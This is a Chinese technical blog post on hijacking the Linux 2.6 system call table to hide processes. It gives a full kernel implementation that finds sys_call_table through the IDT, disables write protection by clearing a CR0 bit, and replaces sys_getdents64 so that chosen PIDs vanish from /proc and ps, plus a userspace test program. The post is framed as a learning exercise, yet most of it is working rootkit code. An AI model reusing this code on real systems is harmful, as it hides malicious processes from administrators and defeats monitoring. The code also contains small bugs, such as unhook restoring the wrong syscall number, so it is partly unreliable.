Linux 2.6 劫持系统调用 隐藏进程

Linux 2.6 劫持系统调用 隐藏进程


linux system table struct hook linux内核

 

  一、原理

       Intel x86系列微机支持256种中断,为了使处理器比较容易地识别每种中断源,把它们从0~256编号,即赋予一个中断类型码n,Intel把它称作中断向量。

       而Linux中的系统调用使用的是128号,即0x80号中断,所有的系统调用都是通过唯一的入口system_call()来进入内核,当用户动态进程执行一条int 0x80汇编指令时,CPU就切换到内核态,并开始执行system_call()函数,system_call()函数再通过系统调用表 sys_call_table来取得相应系统调用的地址进行执行。

       系统调用表sys_call_table中存放所有系统调用函数的地址,每个地址可以用系统调用号来进行索引,例如sys_call_table[NR_fork]索引到的就是系统调用sys_fork()的地址。(arch/i386/kernel/syscall_table.S)

      Linux用中断描述符(8字节)来表示每个中断的相关信息,其格式如下:

              31…16                                                                   15…0

偏移量

一些标志、类型码及保留位

段选择符

偏移量

所有的中断描述符存放在一片连续的地址空间中,这个连续的地址空间称作中断描述符表(IDT),在保护模式下,中断描述附表可能位于物理内存的任何地方。处理器有一个特殊的寄存器 IDTR,用来存储中断描述附表的起始地址与大小。这个IDTR的格式为:

        47…16                                                                         15…0

32位基址值  

界限

当产生一个中断时,处理器会将中断号乘以8然后加到中断描述符表的基址上。然后验证产生的结果地址位于中断描述附表内部(利用表的起始地址与长度)。如果产生的地址没有位于中断描述符表的内部,将产生一个异常。如果产生的地址正确,存储在描述附表中的 8-byte 的描述符会被 CPU 加载并执行。

       通过上面的说明可以得出通过IDTR寄存器来找到system_call()函数地址的方法:根据IDTR寄存器找到中断描述符表,中断描述符表的第0x80项即是system_call()函数的地址。

       在这里我们已经知道怎么获得了system_call()的方法,那如何获得sys_call_table的地址呢?

       我们看看system_call()的源代码:

[c-sharp]  view plain copy
  1. # system call handler stub  
  2. ENTRY(system_call)  
  3.     pushl %eax          # save orig_eax  
  4.     SAVE_ALL  
  5.     GET_THREAD_INFO(%ebp)  
  6.                     # system call tracing in operation / emulation  
  7.     /* Note, _TIF_SECCOMP is bit number 8, and so it needs testw and not testb */  
  8.     testw $(_TIF_SYSCALL_EMU|_TIF_SYSCALL_TRACE|_TIF_SECCOMP|_TIF_SYSCALL_AUDIT),TI_flags(%ebp)  
  9.     jnz syscall_trace_entry  
  10.     cmpl $(nr_syscalls), %eax  
  11.     jae syscall_badsys  
  12. syscall_call:  
  13.     call *sys_call_table(,%eax,4)//这就是sys_call_table的地址  
  14.     movl %eax,EAX(%esp)     # store the return value  
 

我们找到了sys_call_table的在代码的位置,因此通过下面指令,找出sys_call_table的指令码

$ cd /usr/src/

$ gdb -q vmlinux

$ disass sys_call_table

$ x/xw syscall_call+0

下面就是通过查找0x408514ff这个指令来得到*sys_call_table 的值,以上我们便可以找到sys_call_table。

Linux 系统中用来查询文件信息的系统调用是sys_getdents64,这一点可以通过strace来观察到,例如strace ps 将列出命令ps用到的系统调用,从中可以发现ps是通过sys_getedents64来执行操作的。当查询文件或者目录的相关信息时,Linux系统用sys_getedents64来执行相应的查询操作,并把得到的信息传递给用户空间运行的程序,所以如果修改该系统调用,去掉结果中与某些特定文件的相关信息,那么所有利用该系统调用的程序将看不见该文件,从而达到了隐藏的目的。首先介绍一下原来的系统调用,其原型为:

int sys_getdents64(unsigned int fd, struct linux_dirent64 *dirp,unsigned int count)

其中fd为指向目录文件的文件描述符,该函数根据fd所指向的目录文件读取相应dirent结构,并放入dirp中,其中count为dirp中返回的数据量,正确时该函数返回值为填充到dirp的字节数。

因此,只需要把上述的sys_getdents64替换成自己写的hacked_getdents函数,对隐藏的进程进行过滤,从而实现进程的隐藏。

在hacked_getdents函数中,怎么对隐藏的进程进行过滤呢?

由于在Linux中不存在直接查询进程信息的系统调用,类似于ps这样查询进程信息的命令是通过查询proc文件系统来实现的,由于proc文件系统它是应用文件系统的接口实现,因此同样可以用隐藏文件的方法来隐藏proc文件系统中的文件,只需要在上面的hacked_getdents中加入对于proc文件系统的判断即可。

由于proc是特殊的文件系统,只存在于内存之中,不存在于任何实际设备之上,所以Linux内核分配给它一个特定的主设备号0以及一个特定的次设备号3, 除此之外,由于在外存上没有与之对应的i节点,所以系统也分配给它一个特殊的节点号PROC_ROOT_INO(值为1),而设备上的1号索引节点是保留 不用的。

通过上面的分析,可以得出判断一个文件是否属于proc文件系统的方法:
1)得到该文件对应的fstat结构fbuf;
2) if (fbuf->ino == PROC_ROOT_INO && !MAJOR(fbuf->dev) && MINOR(fbuf->idev) == 3)

{该文件属于proc文件系统}

 

通过上面的分析,给出隐藏特定进程的伪代码表示:

[c-sharp]  view plain copy
  1. hacket_getdents(unsigned int fd,   
  2. struct dirent *dirp, unsigned int count)   
  3. {  
  4.    调用原来的系统调用;   
  5.    得到fd所对应的节点;   
  6.    If(该文件属于proc文件系统的进程文件&&该进程需要隐藏)   
  7.    {  
  8. 从dirp中去掉该文件相关信息  
  9. }  
  10. }  
 

 

以上便是通过劫持系统调用而实现隐藏进程的原理!

 

二 、实现

本人比较懒,懒得再重新设置进程的hide变量,于是在之前的一篇文章《linux 隐藏进程-crux实现》基础上进行修改(url:http://blog.csdn.net/billpig/archive/2010/11/26/6038330.aspx),使得内核能够同时支持本文的方法及前篇文章的方法。为了区分开两种方法,在include/linux/文件夹下添加hide.h头文件。

[c-sharp]  view plain copy
  1. #ifndef HIDE  
  2. #define HIDE  
  3. #define USE_HOOK //使用第二种方法  
  4. //#define USE_PROC //使用第一种方法,该语句和上一句只能选其一  
  5. #endif  
 

 

在hide.h选择隐藏文件的方式后,在linux内核文件目录下,执行make bzImage,然后把得到的内核加入grub目录。分别设置不同的隐藏方式即可得到不同方法所得到的内核。


2.1 修改前一篇文章 /proc

 

修改前一篇文件/proc的代码,使得不会影响本文代码的实现(因为前篇文章已经实现进程隐藏了,再次隐藏无意义),于是修改fs/proc/base.c的proc_pid_readdir()的代码如下:

[c-sharp]  view plain copy
  1. /* for the /proc/ directory itself, after non-process stuff has been done */  
  2. int proc_pid_readdir(struct file * filp, void * dirent, filldir_t filldir)  
  3. {  
  4.     unsigned int tgid_array[PROC_MAXPIDS];  
  5.     char buf[PROC_NUMBUF];  
  6.     unsigned int nr = filp->f_pos - FIRST_PROCESS_ENTRY;  
  7.     unsigned int nr_tgids, i;  
  8.     int next_tgid;  
  9. #ifdef USE_PROC  
  10.     task_t *task; //declare a task_struct  
  11. #endif  
  12.     if (!nr) {  
  13.         ino_t ino = fake_ino(0,PROC_TGID_INO);  
  14.         if (filldir(dirent, "self", 4, filp->f_pos, ino, DT_LNK) < 0)  
  15.             return 0;  
  16.         filp->f_pos++;  
  17.         nr++;  
  18.     }  
  19.     /* f_version caches the tgid value that the last readdir call couldn't 
  20.      * return. lseek aka telldir automagically resets f_version to 0. 
  21.      */  
  22.     next_tgid = filp->f_version;  
  23.     filp->f_version = 0;  
  24.     for (;;) {  
  25.         nr_tgids = get_tgid_list(nr, next_tgid, tgid_array);  
  26.         if (!nr_tgids) {  
  27.             /* no more entries ! */  
  28.             break;  
  29.         }  
  30.         next_tgid = 0;  
  31.         /* do not use the last found pid, reserve it for next_tgid */  
  32.         if (nr_tgids == PROC_MAXPIDS) {  
  33.             nr_tgids--;  
  34.             next_tgid = tgid_array[nr_tgids];  
  35.         }  
  36.         for (i=0;i
  37.             int tgid = tgid_array[i];  
  38.             ino_t ino = fake_ino(tgid,PROC_TGID_INO);  
  39.             unsigned long j = PROC_NUMBUF;  
  40. #ifdef USE_PROC  
  41.             //get task_struct from pid  
  42.             task = find_task_by_pid(tgid);  
  43. #endif  
  44.             do  
  45.                 buf[--j] = '0' + (tgid % 10);  
  46.             while ((tgid /= 10) != 0);  
  47.             //task = find_task_by_pid(tgid);  
  48. #ifdef USE_PROC  
  49.             printk(KERN_ALERT "pid:%d, hide:%d/n", task->pid, task->hide);  
  50.             //if task is not hide, then add to /proc  
  51.             if(task != NULL && task->hide == 0)  
  52.             {  
  53.                 printk(KERN_ALERT "task:%d no hide/n", task->pid);  
  54. #endif  
  55.                 if (filldir(dirent, buf+j, PROC_NUMBUF-j, filp->f_pos, ino, DT_DIR) < 0) {  
  56.                     /* returning this tgid failed, save it as the first 
  57.                      * pid for the next readir call */  
  58.                     filp->f_version = tgid_array[i];  
  59.                     goto out;  
  60.                 }  
  61. #ifdef USE_PROC  
  62.             }  
  63.             filp->f_pos++;  
  64.             nr++;  
  65. #endif  
  66.         }  
  67.     }  
  68. out:  
  69.     return 0;  
  70. }  
 

 

2.2 本文方法的实现

 

2.2.1 hook.c


在2.1中去除掉了修改后的/proc代码对本文的影响,接下来便实现在第一部分内容原理的代码。

于是,在kernel目录下创建hook.c文件,具体内容如下:

[c-sharp]  view plain copy
  1. #include   
  2. #include   
  3. #include   
  4. #include   
  5. #include   
  6. #include   
  7. #include   
  8. #include   
  9. #include   
  10. #include   
  11. #include   
  12. #include   
  13. #include   
  14. #include   
  15. #include   
  16. #define CALLOFF 100  
  17. //定义 idtr and idt struct  
  18. struct{  
  19.     unsigned short limit;  
  20.     unsigned int base;  
  21. }__attribute__((packed))idtr;  
  22. struct{  
  23.     unsigned short off_low;  
  24.     unsigned short sel;  
  25.     unsigned char none, flags;  
  26.     unsigned short off_high;  
  27. }__attribute__((packed))*idt;  
  28. /* 
  29. struct linux_dirent64{ 
  30.     u64 d_ino; 
  31.     s64 d_off; 
  32.     unsigned short d_reclen; 
  33.     unsigned char d_type; 
  34.     char d_name[1]; 
  35. };*/  
  36. //定义函数指针,指向被劫持的系统调用  
  37. asmlinkage long (*orig_getdents)(unsigned int fd, struct linux_dirent64 __user *dirp, unsigned int count);  
  38. int orig_cr0;  
  39. void ** system_call_table;  
  40. //获得system_call函数地址  
  41. void * get_system_call(void)  
  42. {  
  43.     void * addr = NULL;  
  44.     asm("sidt %0":"=m"(idtr));  
  45.     idt = (void*) ((unsigned long*)idtr.base);  
  46.     addr = (void*) (((unsigned int)idt[0x80].off_low) | (((unsigned int)idt[0x80].off_high)<<16 ));  
  47.     return addr;  
  48. }  
  49. //查找sys_call_table  
  50. char * findoffset(char * start)  
  51. {  
  52.     char *p;  
  53.     for(p=start; p < start + CALLOFF; p++){  
  54.         if(*(p+0) == '/xff' && *(p+1) == '/x14' && *(p+2) == '/x85')  
  55.             return p;  
  56.     }  
  57.     return NULL;  
  58. }  
  59. //获得sys_call_table的地址  
  60. void ** get_system_call_addr(void)  
  61. {  
  62.     unsigned long sct = 0;  
  63.     char * p;  
  64.     unsigned long addr = (unsigned long)get_system_call();  
  65.     if((p=findoffset((char*) addr)))  
  66.     {  
  67.         sct = *(unsigned long*)(p+3);  
  68.         printk(KERN_ALERT "find sys_call_addr: 0x%x/n", (unsigned int)sct);  
  69.     }  
  70.     return ((void **)sct);  
  71. }  
  72. //清除和返回cr0  
  73. unsigned int clear_and_return_cr0(void)  
  74. {  
  75.     unsigned int cr0 = 0;  
  76.     unsigned int ret;  
  77.     asm volatile ("movl %%cr0, %%eax"  
  78.             :"=a"(cr0));  
  79.     ret = cr0;  
  80.     cr0 &= 0xfffeffff;  
  81.     asm volatile ("movl %%eax, %%cr0"  
  82.             ::"a"(cr0));  
  83.     return ret;  
  84. }  
  85. //设置cr0  
  86. void setback_cr0(unsigned int val)  
  87. {  
  88.     asm volatile ("movl %%eax, %%cr0"  
  89.             ::"a"(val));  
  90. }  
  91. //char* 转换为 int  
  92. int atoi(char *str)  
  93. {  
  94.     int res = 0;  
  95.     int mul = 1;  
  96.     char *ptr;  
  97.     for(ptr = str + strlen(str)-1; ptr >= str; ptr--){  
  98.         if(*ptr < '0' || *ptr > '9')  
  99.             return -1;  
  100.         res += (*ptr -'0') * mul;  
  101.         mul *= 10;  
  102.     }  
  103.     return res;  
  104. }  
  105. //check if process whose pid equals 'pid' is set to hidden  
  106. //检查进程号pid是否有设置隐藏  
  107. int ishidden(pid_t pid)  
  108. {  
  109.     if(pid < 0)  
  110.         return 0;     
  111.     struct task_struct * task = NULL;  
  112.     task = find_task_by_pid(pid);  
  113. //  printk(KERN_ALERT "pid:%d,hide:%d/n", pid, task->hide);  
  114.     if(task != NULL && task->hide == 1){       
  115. //      printk(KERN_ALERT "pid:%d,task pid:%d,hide:%d/n",pid, task->pid, task->hide);  
  116.         return 1;  
  117.     }  
  118.     return 0;     
  119. }  
  120. //the hacked sys_getdents64  
  121. //劫持后更换的系统调用  
  122. asmlinkage long hacked_getdents(unsigned int fd, struct linux_dirent64 __user *dirp, unsigned int count)  
  123. {  
  124.     long value = 0;  
  125.       
  126.     unsigned short len = 0;  
  127.     unsigned short tlen = 0;  
  128. //  printk(KERN_ALERT "hidden get dents/n");  
  129.     struct kstat fbuf;  
  130.     vfs_fstat(fd, &fbuf);//获取文件信息  
  131.     //printk(KERN_ALERT "ino:%d, proc:%d,major:%d,minor:%d/n", fbuf.ino, PROC_ROOT_INO, MAJOR(fbuf.dev), MINOR(fbuf.dev));  
  132.     if(orig_getdents != NULL)  
  133.     {  
  134.         //执行旧的系统调用  
  135.         value = (*orig_getdents)(fd, dirp, count);  
  136.         // if the file is in /proc    
  137.         //判断文件是否是/proc下的文件  
  138.         if(fbuf.ino == PROC_ROOT_INO && !MAJOR(fbuf.dev) && MINOR(fbuf.dev) == 3)  
  139.         {  
  140. //          printk(KERN_ALERT "this is proc");  
  141.             tlen = value;  
  142.             int pid;  
  143.             while(tlen>0){  
  144.                 len = dirp->d_reclen;  
  145.                 tlen = tlen - len;  
  146.             //  printk(KERN_ALERT "dname:%s,",dirp->d_name);  
  147.                 //获取进程号  
  148.                 pid = atoi(dirp->d_name);  
  149.             //  printk(KERN_ALERT "pid:%d/n", pid);  
  150.                 if(pid != -1 && ishidden(pid))  
  151.                 {  
  152. //                  printk(KERN_ALERT "find process/n");  
  153. //                  //remove the hidden process  
  154.                     //从/proc去除进程文件  
  155.                     memmove(dirp, (char*)dirp + dirp->d_reclen, tlen);  
  156.                     value = value -len;  
  157. //                  printk(KERN_ALERT "hide successful/n");  
  158.                 }  
  159.                 if(tlen)  
  160.                     dirp = (struct linux_dirent64 *)((char*)dirp + dirp->d_reclen);  
  161.             }  
  162.         }  
  163.           
  164.     }  
  165.     else  
  166.         printk(KERN_ALERT "orig_getdents is null/n");  
  167.       
  168.       
  169.       
  170.       
  171.     return value;  
  172. }  
  173. //hook系统调用  
  174. asmlinkage long sys_hook(void)  
  175. {  
  176. #ifdef USE_HOOK  
  177.     system_call_table = get_system_call_addr();  
  178.       
  179.     if(!system_call_table){  
  180.         return -EFAULT;  
  181.     }else if(system_call_table[__NR_getdents64] != hacked_getdents)  
  182.     {  
  183.         printk(KERN_ALERT "sct:0x%x,hacked_getdents:0x%x/n", (unsigned int)system_call_table[__NR_getdents64],(unsigned int)hacked_getdents);  
  184.         orig_cr0 = clear_and_return_cr0();  
  185.           
  186.         orig_getdents = system_call_table[__NR_getdents64];  
  187.     //  printk(KERN_ALERT "old:0x%x, new:0x%x/n",(unsigned int) orig_getdents, (unsigned int)hacked_getdents);  
  188.       
  189.         if(hacked_getdents != NULL)  
  190.             system_call_table[__NR_getdents64] = hacked_getdents;  
  191.           
  192.         setback_cr0(orig_cr0);  
  193.           
  194.       
  195.         return 0;  
  196.     }else  
  197. #endif  
  198.         return -EFAULT;  
  199.           
  200. }  
  201. //unhook系统调用  
  202. asmlinkage long sys_unhook(void)  
  203. {  
  204. #ifdef USE_HOOK  
  205.     if(system_call_table && system_call_table[__NR_getdents64] == hacked_getdents){  
  206.         orig_cr0 = clear_and_return_cr0();  
  207.         system_call_table[__NR_getdents] = orig_getdents;  
  208.         setback_cr0(orig_cr0);  
  209.         return 0;  
  210.     }  
  211. #endif  
  212.     return -EFAULT;  
  213. }  
 

然后在修改kernel/Makefile,把hook.o添加入编译选项,使得hook.c代码编译入内核

[c-sharp]  view plain copy
  1. ...  
  2. obj-y     = ...  
  3.         kthread.o wait.o kfifo.o sys_ni.o posix-cpu-timers.o hook.o  
  4. ...  
 

 

2.2.2 添加系统调用

 

接着,就如和前篇文章一样,添加系统调用的头部及相关信息

在include/asm-i386/unistd.h添加系统调用号及系统的调用总数

[c-sharp]  view plain copy
  1. #define __NR_hide       294 //add hide sys call no  
  2. #define __NR_unhide     295 //add unhide sys call no  
  3. #define __NR_hook       296  
  4. #define __NR_unhook     297  
  5. #define NR_syscalls 298         //modify sys calls  
 

arch/i386/kernel/syscall_table.S在系统调用表中添加相应项,在最后一行添加

[c-sharp]  view plain copy
  1. .long sys_hide /*add sys call to sys call table */  
  2. .long sys_unhide  
  3. .long sys_hook  
  4. .long sys_unhook  
 

在include/linux/syscalls.h添加函数声明

[c-sharp]  view plain copy
  1. // declare function for added sys call  
  2. asmlinkage long sys_hide(void);  
  3. asmlinkage long sys_unhide(void);  
  4. asmlinkage long sys_hook(void);  
  5. asmlinkage long sys_unhook(void);  
 

 

至此,添加系统调用完成,重新编译内核

 

三、测试


我们编写了一个测试函数,用来我们修改的内核是否成功,代码hook.c(注意跟内核的hook.c区分开来)如下:

[c-sharp]  view plain copy
  1. #include   
  2. #include   
  3. #include   
  4. #define __NR_hide 294  
  5. #define __NR_unhide 295  
  6. #define __NR_hook 296  
  7. #define __NR_unhook 297  
  8. int main(int argc ,char ** argv)  
  9. {  
  10.     int j = 0;  
  11.     pid_t pid = getpid();  
  12.     printf("original/n");  
  13.     system("ps");  
  14.     //由于使用前篇文章的内容,于是要调用2个系统调用才能隐藏进程  
  15.     int i = syscall(__NR_hide);  
  16.     i = syscall(__NR_hook);  
  17.     printf("hide:/n");  
  18.     system("ps");  
  19.     i = syscall(__NR_unhide);  
  20.     i = syscall(__NR_unhook);  
  21.     printf("unhide:/n");  
  22.     system("ps");  
  23.     return 0;  
  24. }  
 

 

gcc hook.c -o hook后,执行 ./hook  ,查看结果如图

 

4、结束语

这只是实现隐藏的另一种方式,网上实现的拦截系统调用只是简单的拦截而已,没有更深一层的应用,本文也是对隐藏进程的另一种补充。由于只是演示而已,个人觉得采用模块的方式会比较好,因为内核的系统调用代码一般是不会修改的。

参考资料:

[1] Linux2.6内核中劫持系统调用隐藏进程:http://linux.chinaitlab.com/kernel/810229_3.html

[2] 高手过招谈Linux环境下的高级隐藏技术:http://blog.csdn.net/ldong2007/archive/2008/09/03/2874082.aspx

[3] 2.6内恶化里劫持系统调用:http://blog.csdn.net/ldong2007/archive/2008/09/03/2872144.aspx

[4] 2.6版本Linux上替换系统调用函数实现隐藏文件学习:http://blog.csdn.net/ldong2007/archive/2008/09/03/2872077.aspx

 

版权所有,转载请出明出处!

 

你可能感兴趣的:(Linux 2.6 劫持系统调用 隐藏进程)